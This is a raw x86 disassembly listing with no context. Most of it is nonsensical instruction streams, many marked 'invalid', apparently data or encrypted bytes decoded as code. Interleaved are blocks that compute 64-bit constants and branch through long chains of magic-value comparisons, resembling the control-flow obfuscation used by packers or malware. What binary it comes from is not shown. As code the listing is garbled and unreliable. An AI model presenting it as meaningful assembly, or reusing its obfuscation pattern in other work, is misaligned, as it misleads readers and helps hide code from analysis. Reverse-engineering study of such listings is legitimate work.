sar byte [edi + 0x5378500e], cl
dec eax
jl 0x67d33b1e
popfd
cmp edx, dword [edx]
fdiv dword [edi + 0x24]
insb byte es:[edi], dx
daa
invalid
ficomp word [eax]
mov byte [0xb6eabe], bl
and ebp, dword [ebx + 0x156987af]
inc ebx
xor eax, 0xa493f2ca
invalid
out 0x42, al
sbb eax, 0xf1670208
sbb eax, 0xf1670208
fisubr dword [ecx + 0x75ce1b6a]
outsd dx, dword [esi]
cli
add al, 0xf2
pop edx
js 0x67d33b20
mov edx, dword [esi - 0x79]
pushal
dec esp
loopne 0x67d33b7e
stc
push ds
js 0x67d33b34
scasb al, byte es:[edi]
int3
int1
lea eax, [ebx + 0x5e]
lcall 0x6d2, 0x7134670
mov edi, 0x552838f4
sti
sbb byte [eax + 0x55f8a647], 0xc3
jo 0x67d34120
inc edx
fst dword [ecx + ebx*4 - 0x6f7ba632]
int3
invalid
cmp eax, 0x8f44ca4f
lodsd eax, dword [esi]
jbe 0x67d340d0
imul edi, ecx, 0xeef19f13
pop dword [edx]
mov esp, 0xec16d898
mov esi, 0x3076c228
cwde
insd dword es:[edi], dx
mov word [esp + ebp*8], ss
nop
int3
mov esp, 0xa701382c
jb 0x67d3419e
adc eax, 0xea9a9fbe
shl byte [ecx - 0x4c], cl
pandn mm0, qword [edi]
fcmovu st(0), st(7)
sbb edx, dword [eax + eax*8 - 0x55dfe1fe]
outsb dx, byte [esi]
cmp al, 0x68
xor byte [ebp + 0x6f], bh
iretd
push cs
aam 0x70
push edi
mov ebp, 0x36fc458e
xchg byte [0x98e824eb], bh
stosd dword es:[edi], eax
les edi, [esi + 0x2c]
or dword [edx - 0x215c280a], ecx
sti
in al, dx
test al, 0xac
les esp, [esi]
cmp al, 0xa
insd dword es:[edi], dx
sbb dword [esi + 0x72], esp
inc ecx
pop edx
jne 0x67d341ea
sub eax, 0x5cbab20a
jb 0x67d34135
bnd jb 0x67d3417f
pushfd
movsb byte es:[edi], byte ss:[esi]
js 0x67d34201
bound ebx, qword [bx + di - 0x425e]
in al, dx
rcl dword [eax - 0x2c1dff34], cl
js 0x67d341ec
adc al, 0xb3
inc edx
invalid
dec ecx
pop ebx
add al, 0x6a
cmp dword [edi], 0xffffff8e
mov esp, 0xfbe51e7
mov edx, 0x69245259
mov dword [0x1db27139], eax
aas
aas
jb 0x67d34270
dec ebx
mov ah, 0xb3
cmp al, 0xb5
cmp eax, 0x924ab8a8
mov cl, 0x58
add eax, 0x3168439b
cmp eax, 0x14a36270
mov esp, 0xd4c7d547
invalid
sub eax, 0xc394d938
add byte [esi - 0x1c], 0xcf
pushfd
inc ecx
sub byte [ecx], al
xor eax, 0x65eab33f
fucomp st(4)
adc dword [0x6d69cc90], edx
mov edx, 0xab872b03
ljmp 0xfa29
nop
jmp 0x67d3473e
nop
mov dword [ebp - 0x94], 0
mov dword [ebp - 0xa0], 0xa65b7
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa8], 0x27253
mov dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0xa8]
mov edx, eax
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0xa0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xa0]
mul dword [ebp - 0xa8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0xb0]
xor eax, 0x70187855
mov edx, dword [ebp - 0xac]
xor edx, 0x19
or eax, edx
je 0x67d3d999
mov edx, 0x70187855
mov eax, 0x19
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0xecf30
or eax, dword [ebp - 0xac]
je 0x67d39310
mov edx, 0xecf30
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0xe6e53
or eax, dword [ebp - 0xac]
je 0x67d36408
mov edx, 0xe6e53
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0xd55ac
or eax, dword [ebp - 0xac]
je 0x67d3bc37
mov edx, 0xd55ac
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0xcc9de
or eax, dword [ebp - 0xac]
je 0x67d3c218
mov edx, 0xcc9de
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0xadb80
or eax, dword [ebp - 0xac]
je 0x67d3a4b3
mov edx, 0xadb80
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0xa22cc
or eax, dword [ebp - 0xac]
je 0x67d36fca
mov edx, 0xa22cc
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x939c2
or eax, dword [ebp - 0xac]
je 0x67d3816d
mov edx, 0x939c2
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x7ac35
or eax, dword [ebp - 0xac]
je 0x67d375ab
mov edx, 0x7ac35
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x77bfb
or eax, dword [ebp - 0xac]
je 0x67d34c84
mov edx, 0x77bfb
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x6c97f
or eax, dword [ebp - 0xac]
je 0x67d37b8c
mov edx, 0x6c97f
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x69c7a
or eax, dword [ebp - 0xac]
je 0x67d35846
mov edx, 0x69c7a
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x5d8bd
or eax, dword [ebp - 0xac]
je 0x67d369e9
mov edx, 0x5d8bd
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x54840
or eax, dword [ebp - 0xac]
je 0x67d3c7f9
mov edx, 0x54840
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x4e85f
or eax, dword [ebp - 0xac]
je 0x67d35e27
mov edx, 0x4e85f
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x4ce24
or eax, dword [ebp - 0xac]
je 0x67d38d2f
mov edx, 0x4ce24
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x470a4
or eax, dword [ebp - 0xac]
je 0x67d39ed2
mov edx, 0x470a4
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x416a0
or eax, dword [ebp - 0xac]
je 0x67d3cdda
mov edx, 0x416a0
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x412f5
or eax, dword [ebp - 0xac]
je 0x67d3aa94
mov edx, 0x412f5
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x3c0c8
or eax, dword [ebp - 0xac]
je 0x67d3d3bb
mov edx, 0x3c0c8
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x3bc3d
or eax, dword [ebp - 0xac]
je 0x67d3874e
mov edx, 0x3bc3d
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x25546
or eax, dword [ebp - 0xac]
je 0x67d35265
mov edx, 0x25546
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0x21619
or eax, dword [ebp - 0xac]
je 0x67d398f1
mov edx, 0x21619
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d3d99c
mov eax, dword [ebp - 0xb0]
xor eax, 0xb591
or eax, dword [ebp - 0xac]
je 0x67d3b656
mov eax, dword [ebp - 0xb0]
xor eax, 0x113b4
or eax, dword [ebp - 0xac]
je 0x67d3b075
test dword [eax - 1], edx
invalid
jmp 0x67d3d99c
mov byte [0x71ae67be], al
loope 0x67d34c69
movsb byte es:[edi], byte [esi]
xor eax, dword [ebp + eax*2 - 0x2c]
pushfd
push ds
dec ecx
add dh, byte [ebp - 0x6e]
jnp 0x67d34cf4
inc esi
sub esi, dword [ecx + esi*8 - 0x2c]
push es
movsd dword es:[edi], dword [esi]
mov eax, dword [0x6c227bba]
dec edx
push cs
invalid
mul ch
add bl, byte [esi + 7]
insb byte es:[edi], dx
invalid
fild qword [ecx + esi*2 - 0x267ab59]
cmpsd dword [esi], dword es:[edi]
mov dl, 0xfa
invalid
push 0xffffffffffffffe8
dec ebp
aam 0x31
xchg ecx, eax
push eax
cmp edi, dword [eax - 0x7c3bdcfe]
sbb byte [edi*8 - 0x107425b4], bl
push edx
invalid
aaa
pop ss
and dword [edx + 0x39328d9f], edi
mov cl, 0x7e
xor al, 0x74
xor dword [edx - 0x54], ecx
std
js 0x67d35e4a
loope 0x67d35e29
clc
inc ebx
invalid
fisubr word [eax - 0x63]
mov eax, dword [0xd605249c]
enter 0x2f6a, 0xffffffffffffff99
clc
inc bh
pop ebx
push ds
scasb al, byte es:[edi]
xchg ecx, eax
movsb byte es:[edi], byte [esi]
dec ecx
xchg byte [esi + 0x6f08aae7], ch
retf
lcall 0x29ad, 0xd1a2e928
dec esp
add dword [ebx], ebx
cmpsb byte [esi], byte es:[edi]
nop
int3
cwde
jns 0x67d3632e
int3
xchg edi, eax
pop es
adc edx, eax
or bh, ah
clc
rol byte [eax + ecx*4], 1
loop 0x67d3639b
fcompi st(6)
fistp dword [edx]
jnp 0x67d363fc
add dl, byte [ebp - 0x72]
aaa
and eax, 0xc88606af
push es
xchg al, cl
stc
xor al, 0x90
int3
in eax, dx
push esp
xor al, 0x25
clc
leave
imul edx, dword [ebx - 0x47], 0x13
aam 0x8a
pop ebx
inc eax
mov word [0xb81902f], gs
std
cmp eax, 0x4c0548f8
inc ebp
push edx
jg 0x67d363e4
iretd
invalid
pushfd
fsub st(0)
fstpnce st(6), st(0)
test al, 0x78
test dword [ecx*2 - 0x323ea10a], eax
mov bl, 0x68
mov dh, 0x42
add dword [ecx - 0x2e], 0x9887ac12
mov al, byte [0xa3225f39]
fmul dword [ebx + eax*8 + 0x59]
lds ebx, [ebx + 0x696ebeea]
outsd dx, dword [esi]
mov eax, 0xf96f8f4f
jg 0x67d3702b
mov al, 0xa9
int3
adc al, 0x90
int3
stosd dword es:[edi], eax
aad 0x30
or al, 0x74
les eax, [edx + 0x20]
sub bl, byte [ebx]
stc
inc ebx
movsb byte es:[edi], byte [esi]
invalid
xchg esp, eax
invalid
push ss
scasw ax, word es:[edi]
inc edi
pop ecx
mov dh, 0xb0
aas
mov al, 0xf9
xlatb
jae 0x67d374a1
mov bh, 4
sub dl, byte [edi + 0x68de1463]
jg 0x67d37454
adc dl, dl
mov dh, 0x24
adc dword [eax], edx
test ah, 0x1f
fiadd dword [ebp + 0x12]
adc al, 0xf5
in eax, dx
sbb al, 0xd4
test eax, 0x2a28d0b1
adc eax, 0xce75df71
or eax, 0x98f8b5fe
pop edi
or byte [ebp + eax*4 + 0x46], al
aaa
cmpsb byte [esi], byte es:[edi]
ror esi, 0xfc
sub ah, byte [edx]
xchg edi, eax
nop
int3
js 0x67d374a6
jecxz 0x67d37497
push edx
sahf
adc eax, 0x5f482a1b
fcomp dword [ebp - 0x6c]
call 0x1c9771e2
xor ebx, edi
les ebx, [edi]
lodsb al, byte [esi]
jae 0x67d37491
pop esi
sbb ebx, ecx
retf
mov eax, 0x669d9d97
les esi, [ecx]
xchg esp, eax
jno 0x67d374e5
test dword [edx - 0x70f2f97f], ebx
and byte [ebx], bh
lcall 0x3b20, 0x8f0d0681
or al, 0xa7
cmpsb byte [esi], byte es:[edi]
invalid
pop ds
cld
mov byte [edi - 0x61], bh
push esi
nop
int3
not byte [edi - 0x7532a6c1]
jne 0x67d37556
mul dword [edi - 0x20373db4]
and al, byte [edx - 0x60]
rcl dh, 1
inc esi
loope 0x67d3760b
lodsb al, byte [esi]
sub ebp, eax
push es
scasb al, byte es:[edi]
xchg ecx, eax
rcr bh, cl
mov ah, 2
push edx
push cs
add eax, 0x7efbc302
loop 0x67d3755f
mov ecx, 0x43289fa3
xor al, 0xb
pop ebx
popfd
add al, 0xb2
test eax, 0xa4f2bf1a
xchg esi, eax
ja 0x67d375c5
inc ebx
xor byte [ecx - 0x773fea17], bl
clc
mov al, bh
xchg dword [esi + 0x77], ebx
pop ss
dec esi
mov cl, 0x1a
push ds
rcr dword [eax + eax*4 + 0xf7e86ab], 1
mov dh, byte [ecx]
stosd dword es:[edi], eax
insb byte es:[edi], dx
push ebx
into
fisttp word [bp - 0x6d]
jbe 0x67d375ef
jecxz 0x67d3767f
jb 0x67d3759e
nop
int3
mov edx, eax
lodsb al, byte [esi]
mov dword [0xdd56c179], eax
mov esi, 0xe3aa9f06
mov sp, 0x109d
fsub qword [edi]
movsb byte es:[edi], byte [esi]
insb byte es:[edi], dx
push ecx
sub al, 0x54
rcr dword [esi + 0x2f766cde], 1
inc esi
pop ebp
push ss
int 0x39
adc byte [edi + 0x18], al
xor edx, edi
pop ecx
invalid
stc
push cs
or ch, bh
sub dword [ebp + 0x1b], eax
out dx, al
xchg esi, eax
or al, 0x88
dec edx
adc ebp, dword [edi]
nop
dec ebx
inc esi
and byte [edx + ebx + 0x50], ch
dec edi
ja 0x67d37620
xor al, 0x57
mov fs, esi
inc edi
dec edx
sub dword [edi - 0x4a], ecx
lcall 0xde04, 0xe172d58c
cmp al, 0x98
outsb dx, byte [esi]
sub bl, byte [eax - 0x11ed8c55]
invalid
fist dword [edi]
mov dword [esi + 0x1c965a57], esi
pop ss
div bh
enter 0x726f, 0x7b
sti
pop cx
iretd
invalid
or dword [esi + 0x27e4a079], 0xe8cef885
or bh, dh
mul byte [edx + eax*2 + 0x72ef1dd7]
push ebx
out 0x43, eax
mov byte [0x787cbea1], al
inc esi
invalid
invalid
and bl, byte [edx]
and eax, 0xa2cb118e
jb 0x67d39365
out dx, eax
mov byte [0xf78eeeda], al
dec edi
dec edi
retf 0xad11
hlt
lodsb al, byte [esi]
sbb dword [eax + 0x7c], eax
mov esi, 0xea1f11de
xchg esi, eax
and eax, 0x54a19997
invalid
rol dword gs:[ecx + 0x46], cl
fmul st(6), st(0)
push ebp
pushfd
aas
xlatb
salc
push es
pop esp
mov ecx, 0xac26a42c
or eax, 0x205be818
jns 0x67d39f1f
shr eax, 1
cmp al, 0x35
and ecx, edi
jecxz 0x67d39f12
mov ebp, 0x53eaebdd
inc ebp
inc eax
rcl byte [esi + 0x6e], cl
push ds
sahf
in eax, 0xda
and edx, dword [ecx + 0x45]
jge 0x67d39f16
hlt
push esi
wait
jl 0x67d39f94
into
nop
jmp 0x67d39f6e
adc byte [ebp - 0x2431c870], dh
test al, 0x8d
rol dword [esi], 1
in eax, dx
mov ch, 0x79
inc esi
leave
jl 0x67d39f3e
cmp bh, byte [esi]
nop
int3
cmp byte [eax], bh
xor eax, 0x64396416
xchg esp, eax
salc
inc byte [ebx - 0x14f215b7]
mov esi, dword [ebx - 0x2bafe273]
push ds
push es
add eax, dword [esi - 0x38]
cli
div byte [ebx]
cmc
sbb eax, esp
adc dword [esi + 0x50], eax
dec edi
insd dword es:[edi], dx
pushal
out 0x67, al
sub byte [edx], al
jl 0x67d39eeb
pop ds
mov ch, 0xe9
xor ecx, dword [eax + esi]
or al, 0x30
outsb dx, byte [esi]
xchg ebp, eax
pop es
cmp eax, dword [ecx]
push ecx
add al, 0x7a
cdq
lcall 0xbd9d, 0x17f75a97
pop ds
sbb al, byte [esi]
jmp 0xd429cfea
invalid
rsqrtps xmm5, xmmword [eax]
and byte [0x83985537], al
mov dr0, ebp
mov edi, 0xf92a50f
mov ecx, 0x1acd179e
adc ecx, dword [eax]
ret 0x3c33
mov esi, 0xf755ea32
pop edi
sub ah, byte [ebx - 0x61fe8e02]
dec esi
and byte [edi], dh
mov esi, 0x90ab6dc5
push edi
push ecx
push 0xfffffffffffffff9
push 0x73
enter 0x2656, 0x12
add dword [ecx - 0x6b], eax
push es
xchg byte [ebx], dh
fild word [edx - 0x36d28b6b]
clc
jmp 0x9a661275
or dword [ebp + 0x27977488], eax
mov ebp, 0x23f03c0c
scasb al, byte es:[edi]
popfd
dec edi
dec edx
sbb al, 0xda
popfd
hlt
out dx, al
aam 0xd4
int 0xf8
cwde
out 0xb9, al
out dx, al
cmp eax, 0x3aec93df
lea ecx, [ebx + 0x52d2a02d]
jmp 0x34642360
sahf
sahf
sub al, 0xcc
dec esi
jp 0x67d3b0fb
scasd eax, dword es:[edi]
add byte [edx], dh
ja 0x67d3b057
inc ecx
pop ss
cmpsb byte [esi], byte es:[edi]
rol byte [edx + 0x7fd25d85], cl
jne 0x67d3b099
push ecx
adc esp, dword ds:[edi + 0xb]
pop edx
popal
cmp dh, byte [esi]
push ebp
in eax, dx
mov byte [eax + 0x5b], al
pop ebx
or edi, dword [edx - 7]
loope 0x67d3b040
int3
and dword [edi], ebx
jbe 0x67d3b0fd
sbb al, 0x7b
lodsb al, byte [esi]
imul eax, dword [ecx - 0x5becbaf6], 0x77bb78b5
invalid
and dword [ebp - 0xb6cb4d8], ebp
sti
push cs
ret
sub ah, byte [ecx + 0x67be0dee]
rcr byte [eax], 0x2b
sbb dl, byte [ebx + eax*8 + 0x1a]
jmp 0x67d3bc18
insb byte es:[edi], dx
cdq
ret
push ebp
push es
cmp byte [ebx + 0x388a1783], dl
loop 0x67d3bba9
xchg edx, eax
retf 0xeb9
push cs
add ch, byte [eax + 0x6f]
outsd dx, dword [esi]
add dword [esi + 0x5d], esp
jae 0x67d3bc00
pushfd
shr byte [esi + ebp*8 + 0x4e], cl
cmp eax, 0x9b849086
invalid
sbb al, 0xed
ja 0x67d3bc15
cld
in eax, 0xdf
jmp 0x67d3bc4d
stc
adc dword [eax + 0x683ede85], 0xb0a6b7f2
mov dword [0x11eed788], eax
leave
jbe 0x67d3bc08
iretd
xor dword [edi + 0x7848f42a], eax
into
mov al, byte [0x212a8e34]
pop ss
sahf
add edx, dword [0x2b32e161]
cmpsb byte [esi], byte es:[edi]
insb byte es:[edi], dx
sahf
sub ch, cl
push ss
mov dl, 0x31
sbb al, 0x20
in al, 0x6b
mov cl, 2
aad 0
iretd
rcr edx, cl
loope 0x67d3c854
std
retf 0xcdbf
inc eax
inc ebp
in al, dx
scasb al, byte es:[edi]
mov edi, 0xcc909e2f
xor al, 0xa7
invalid
or al, byte [edx - 0x6c7fbe68]
sbb ch, dl
jle 0x67d3ce42
call 0xe2264fe5
invalid
add al, 0xbd
mov ch, 0x2d
adc edi, ebx
loope 0x67d3cea3
mov ch, 0x11
stosb byte es:[edi], al
int1
xor dl, ah
out 0x3c, al
into
cdq
into
pop eax
add eax, eax
mov edi, 0xc275c3c1
out dx, al
sar byte [edi - 0x3d8a3c3f], 0xee
dec ecx
mov dword [0x1a4b6efa], eax
retf 0x22d1
jns 0x67d3ce57
fild dword [edx + 0x66]
invalid
cmp ah, byte [ebp + 0xf]
clc
xchg esp, eax
and eax, 0x7b0d93b6
mov ebx, 0x1164cc9f
sbb dword [esi + 0x2be3d2ae], 0x29
hlt
nop
jmp 0x67d3d99d
nop
mov dword [ebp - 0xb8], 0xb806e
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xc0], 0xbe9c9
mov dword [ebp - 0xbc], 0
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
sub eax, dword [ebp - 0xb8]
sbb edx, dword [ebp - 0xb4]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xc8]
xor eax, 0xe2acf
or eax, dword [ebp - 0xc4]
je 0x67d3e743
mov edx, 0xe2acf
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67d40a86
mov eax, dword [ebp - 0xc8]
xor eax, 0xb5ddb
or eax, dword [ebp - 0xc4]
je 0x67d3fec7
mov edx, 0xb5ddb
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67d40a86
mov eax, dword [ebp - 0xc8]
xor eax, 0xa882e
or eax, dword [ebp - 0xc4]
je 0x67d3f8e6
mov edx, 0xa882e
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67d40a86
mov eax, dword [ebp - 0xc8]
xor eax, 0x95700
or eax, dword [ebp - 0xc4]
je 0x67d404a8
mov edx, 0x95700
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67d40a86
mov eax, dword [ebp - 0xc8]
xor eax, 0x92ffd
or eax, dword [ebp - 0xc4]
je 0x67d3db81
mov edx, 0x92ffd
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67d40a86
mov eax, dword [ebp - 0xc8]
xor eax, 0x7ca2c
or eax, dword [ebp - 0xc4]
je 0x67d3e162
mov edx, 0x7ca2c
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67d40a86
mov eax, dword [ebp - 0xc8]
xor eax, 0x2fa8c
or eax, dword [ebp - 0xc4]
je 0x67d3f305
mov edx, 0x2fa8c
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67d40a86
mov eax, dword [ebp - 0xc8]
xor eax, 0x695b
or eax, dword [ebp - 0xc4]
je 0x67d40a89
mov eax, dword [ebp - 0xc8]
xor eax, 0x2c066
or eax, dword [ebp - 0xc4]
je 0x67d3ed24
jmp 0x67d40a86
add dh, bl
cmp dword [ecx - 0x44], edx
inc esp
fxam
mov al, 0x10
sub byte [eax + 0x1749d24e], 0x97
cmp dh, byte [ebp + 0x1d]
or al, 0xaa
adc al, 0xf6
push edx
scasb al, byte es:[edi]
adc al, 0xe
push edx
sbb byte [edi + 0x3b8f8c92], bh
movsd dword es:[edi], dword [esi]
jne 0x67d3dbb2
cdq
jmp 0x7cad6d8e
jnp 0x67d3dbe5
invalid
mov bh, 0xd1
dec eax
rcl dword [ebp + 0x3c], 0x4d
add byte [eax + 0x687d5b6d], cl
salc
pop ecx
mov ebx, 0x5471d90
ficomp word [edi - 0xe]
inc edi
lodsb al, byte [esi]
into
jle 0x67d3dc35
xchg esp, eax
jl 0x67d3dc2d
and eax, 0x9adc9fc3
ret
in eax, 0xdc
xchg edi, eax
iretd
jl 0x67d3dc36
mov word [edx + 0x46c07b8e], ds
retf
jo 0x67d3dc12
ja 0x67d3dc6a
dec esi
dec esp
pop esi
dec esi
add al, 0x78
lds esp, [esi - 0x77]
pop ds
xchg dword [ebx - 0x70], eax
int3
sbb eax, 0x9d230999
xchg edi, ebp
xchg ebx, eax
mov cl, 0x56
insb byte es:[edi], dx
adc al, 0x65
adc ebp, dword [esi - 0x1b36e3e4]
pop ebp
inc esp
invalid
jae 0x67d3e1cd
sahf
xchg byte [edx + 0x41], bh
push 0xffffffffffffffeb
inc esp
mov al, byte [0xb2e0b7b8]
or al, 0x6b
mov ds, edi
outsb dx, byte [esi]
push ss
mov bh, 0x11
and eax, 0x71f571a6
invalid
pop edi
adc ecx, esp
invalid
loope 0x67d3e7b2
je 0x67d3e75a
outsd dx, dword [esi]
inc ebx
xchg edx, eax
fst dword [edi + 0x515ed909]
out 0x9e, al
stosb byte es:[edi], al
xchg edi, eax
mov dh, 0xee
scasb al, byte es:[edi]
daa
xchg ecx, eax
test eax, 0x4d6b7c1e
push ds
jl 0x67d3e7c8
dec ebp
invalid
or eax, 0x6954a477
mov dword [0xc0429d82], eax
inc edi
push gs
lds edx, [edx]
and bl, byte [ebx - 0x17]
sub dword ds:[ebp - 0x70], 0x15
sbb esp, dword [ecx + 0x1a]
retf 0x33ee
cmp dword [ebx], ebp
fcomp qword [edx]
inc eax
and al, 0xc5
cwde
jle 0x67d3e80d
add byte [eax + 0x24], al
lds ebx, [eax + 0x4613547e]
adc eax, dword [esi + 0x6a]
and dh, al
int 0xcc
je 0x67d3e76f
inc esi
push 0x22
invalid
xchg esp, eax
std
or edx, dword [edi - 0x623edf88]
and cl, al
popfd
jb 0x67d3e7ae
mov esp, 0x24a46476
test al, 0xe0
xor eax, 0xd04719a1
mov ebp, 0x91f8dfd4
push 0xe44d552c
int 0xa5
cmpsb byte [esi], byte es:[edi]
invalid
jg 0x67d3e7ba
push edi
int1
push esp
shr byte [edi], 1
cdq
cli
mov bl, 0x7c
pop ecx
mov dh, 0xb7
cmc
xchg edi, eax
adc eax, 0xa6c60cc3
xor byte [ebp - 0x63c8d19f], dl
imul edi, dword [edi], 0xffffffb2
xchg ecx, eax
jl 0x67d3e866
pop esi
xor dl, byte [ecx]
mov ebx, 0xcb0a9dfd
test eax, 0x4f396309
div dword [esi]
pushfd
push edx
mov dh, 0x1e
or dl, byte [esi + 0x5d]
aad 0xfb
dec ebx
and ah, bl
cdq
mov bh, 0xf6
and ebx, dword [edx]
daa
ret 0x235f
int1
adc edi, dword [edi - 0x46]
mov eax, dword [0xcc9013b0]
mov al, 0x5f
cli
cmp byte [ecx + 0x5685cfef], al
cmc
invalid
rol dword [ebp + 0x51a622ac], 1
mov byte [esi + 0x2ecc772d], dl
adc al, 0xce
mov gs, word [ebx + 0x431c6ae4]
pop ecx
f2xm1
jb 0x67d3ed3a
lds edx, [esi - 0x4bae44bd]
int 0xf7
adc cl, byte [esi]
in al, dx
dec eax
mov byte [0x7d794311], al
hlt
test byte [edx - 0x6d], bh
push esi
out 0x42, al
retf
salc
arpl bx, bp
sub dword [ebp + 0x62f80fe8], 0x80d27e93
ret 0xe00a
push ebp
dec byte [ebp + edi*4 - 0x41113ec6]
add dh, byte [bx + di]
cmp ah, dh
mov esp, 0xdf2141f5
jnp 0x67d3ff56
sub ebx, ebp
xor eax, 0x8bd030b2
popfd
xor eax, 0x183081dc
mov dl, 0x34
push ecx
xor eax, 0x1f181332
push esi
xchg ebx, eax
or eax, 0x55c7253c
push ds
inc edi
push eax
pop edi
xchg esi, eax
xor byte [ecx + 0x37], cl
mov es, eax
mov ebx, 0xdd9aedf3
imul edx, dword [esi + 0x19], 0x3620d621
std
and al, 0xe6
sbb dword [edi], ebp
xchg edx, eax
and byte [eax + 0x62], ah
jns 0x67d3ff4a
jo 0x67d3ff1d
xchg ebx, eax
pushfd
push ss
fldcw word [ebx - 0x6d]
imul edx, dword [edi - 0x3a], 0xffffffa2
insd dword es:[edi], dx
and ch, byte [ebx + ebp*8]
nop
int3
idiv dword [edi + 0x316207aa]
aam 0xb
push edx
outsd dx, dword [esi]
invalid
mov eax, dword [0x24273625]
mov ecx, 0x12c90acd
int3
mov ebp, 0x394d7da1
and eax, 0x6ff824c9
add al, 0x8e
loope 0x67d404e5
shr dword [0x2dd3f15d], 0x85
pop esi
test eax, 0xb99d423c
adc ch, ch
jp 0x67d404f0
or eax, 0x584c265c
invalid
popal
cmp dword [ebx], esp
push esp
lahf
fisttp dword cs:[esp]
push edi
loopne 0x67d404ea
stc
or dh, byte [esp + esi*2 + 0x2914ab91]
fcom dword [esi + 0x1a08221c]
sub ah, al
mov bh, 0x22
sar edx, 1
adc byte [ebx], dl
ret
nop
jmp 0x67d40a8a
nop
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xd8], 0x2a3d
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xe0], 0xefc8e
mov dword [ebp - 0xdc], 0
mov eax, dword [ebp - 0xd4]
imul eax, dword [ebp - 0xe0]
mov edx, eax
mov eax, dword [ebp - 0xdc]
imul eax, dword [ebp - 0xd8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xd8]
mul dword [ebp - 0xe0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
